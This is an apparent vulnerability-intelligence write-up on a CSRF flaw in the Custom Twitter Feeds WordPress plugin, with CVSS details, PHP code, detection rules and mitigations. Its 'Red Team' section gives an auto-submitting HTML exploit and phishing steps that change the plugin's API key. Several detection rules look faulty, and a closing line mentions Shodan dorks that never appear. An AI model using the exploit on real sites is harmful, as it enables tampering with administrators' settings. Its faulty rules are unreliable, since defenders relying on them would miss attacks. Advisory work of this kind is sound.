CVE-2024-49685
Executive Summary
CVE-2024-49685 is a Cross-Site Request Forgery (CSRF) vulnerability in the Smashballoon Custom Twitter Feeds (Tweets Widget) plugin for WordPress, affecting versions up to and including 2.2.3. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious configurations, without their knowledge. The attack requires user interaction (clicking a crafted link) and has a CVSS score of 5.4 (Medium). As a WordPress plugin vulnerability, it is part of the broader WordPress ecosystem and does not affect the underlying web server software like Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. No official patch has been released as of the latest analysis. Users should monitor the plugin’s official page for updates and consider disabling the plugin until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires user interaction and only allows limited modification of plugin settings. However, in a WordPress context, CSRF can be chained with other vulnerabilities to escalate privileges or inject malicious content.
Deep Dive & Mechanics
The vulnerability resides in the custom-twitter-feeds plugin, which provides a widget to display Twitter feeds. The plugin fails to implement proper CSRF tokens or nonces on administrative actions, such as saving settings or updating API credentials. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress administrator, triggers a forged request to the plugin’s admin-ajax.php or settings endpoint.
Attack Flow:
- Attacker crafts a malicious link or form that submits a POST request to
/wp-admin/admin-ajax.php?action=custom-twitter-feeds-save-settingswith attacker-controlled parameters. - The attacker lures an authenticated admin to click the link (e.g., via phishing email or social engineering).
- The admin’s browser sends the forged request, including their session cookies.
- The plugin processes the request without verifying the origin, changing the plugin’s settings (e.g., API keys, feed display options).
- The attacker can then exfiltrate data or inject malicious JavaScript into the feed output.
Root Cause: Missing CSRF nonce validation in the plugin’s AJAX handlers and settings page.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 2.2.3):
// In custom-twitter-feeds.php or admin-ajax.php
add_action('wp_ajax_custom-twitter-feeds-save-settings', 'ctf_save_settings');
function ctf_save_settings() {
// No nonce check
update_option('ctf_settings', $_POST['settings']);
wp_die();
}
Patched Code (hypothetical fix):
add_action('wp_ajax_custom-twitter-feeds-save-settings', 'ctf_save_settings');
function ctf_save_settings() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'ctf_save_settings')) {
wp_die('CSRF validation failed.');
}
update_option('ctf_settings', $_POST['settings']);
wp_die();
}
The patch adds a call to wp_verify_nonce() using a unique nonce generated with wp_create_nonce('ctf_save_settings') in the admin form.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the vulnerable plugin installed and an authenticated admin session.
- Attacker-controlled server to host the malicious page.
Exploit HTML (csrf_exploit.html):
<!DOCTYPE html>
<html>
<body>
<h1>Click the button to win a prize!</h1>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
<input type="hidden" name="action" value="custom-twitter-feeds-save-settings">
<input type="hidden" name="settings[api_key]" value="attacker_controlled_key">
<input type="hidden" name="settings[cache_duration]" value="0">
<input type="submit" value="Claim Prize">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Usage:
- Host the HTML file on an attacker-controlled server.
- Send the link to an authenticated WordPress admin via email or social engineering.
- When the admin visits the page, the form auto-submits, changing the plugin’s API key to the attacker’s value.
- The attacker can then use their own API key to intercept or manipulate Twitter feed data.
Blue Team (Detection & Mitigation)
Detection:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpwithaction=custom-twitter-feeds-save-settingsfrom unexpected referrers. - Check for missing
_wpnonceparameter in such requests. - Use web application firewall (WAF) rules to block requests without a valid nonce.
Mitigation:
- Immediately update the plugin if a patched version becomes available.
- If no patch exists, disable the plugin or restrict access to admin pages using IP whitelisting.
- Implement additional CSRF protections at the server level (e.g., SameSite cookies, custom headers).
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=custom-twitter-feeds-save-settingsand no_wpnonceparameter. - Referrer headers from external domains (e.g., attacker-controlled sites).
- POST requests to
- File IOCs:
- Modified
wp_optionstable entries withoption_name = 'ctf_settings'containing unexpected values.
- Modified
- Log IOCs:
- WordPress debug log entries showing
wp_ajax_custom-twitter-feeds-save-settingswithout nonce validation.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_49685_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against Smashballoon Custom Twitter Feeds plugin"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2024-49685"
strings:
$ajax_action = "custom-twitter-feeds-save-settings"
$settings_param = "settings["
$no_nonce = "wp_ajax_custom-twitter-feeds-save-settings"
condition:
$ajax_action and $settings_param and #no_nonce > 0
}
Sigma Rule
title: CVE-2024-49685 CSRF Exploit Against Custom Twitter Feeds
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable AJAX endpoint without a nonce
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=custom-twitter-feeds-save-settings'
cs-uri-query|contains: 'settings['
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate admin actions if nonce is missing due to plugin bug
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-49685 CSRF Exploit - Custom Twitter Feeds"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=custom-twitter-feeds-save-settings"; http_uri; content:"settings["; http_uri; pcre:"/^.*(?!.*_wpnonce).*$/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Apply a virtual patch using a WAF to block requests to
admin-ajax.phpwithaction=custom-twitter-feeds-save-settingsunless a valid nonce is present. - Educate administrators about phishing attacks that exploit CSRF.
Long-Term Fix:
- The vendor must release a patched version that implements CSRF nonce validation on all AJAX handlers and settings forms.
- Users should update to the latest version once available.
Workaround:
- Add the following code to the theme’s
functions.phpto enforce nonce validation (if the plugin is still needed):
add_action('wp_ajax_custom-twitter-feeds-save-settings', function() {
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'ctf_save_settings')) {
wp_die('CSRF validation failed.');
}
}, 1);
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.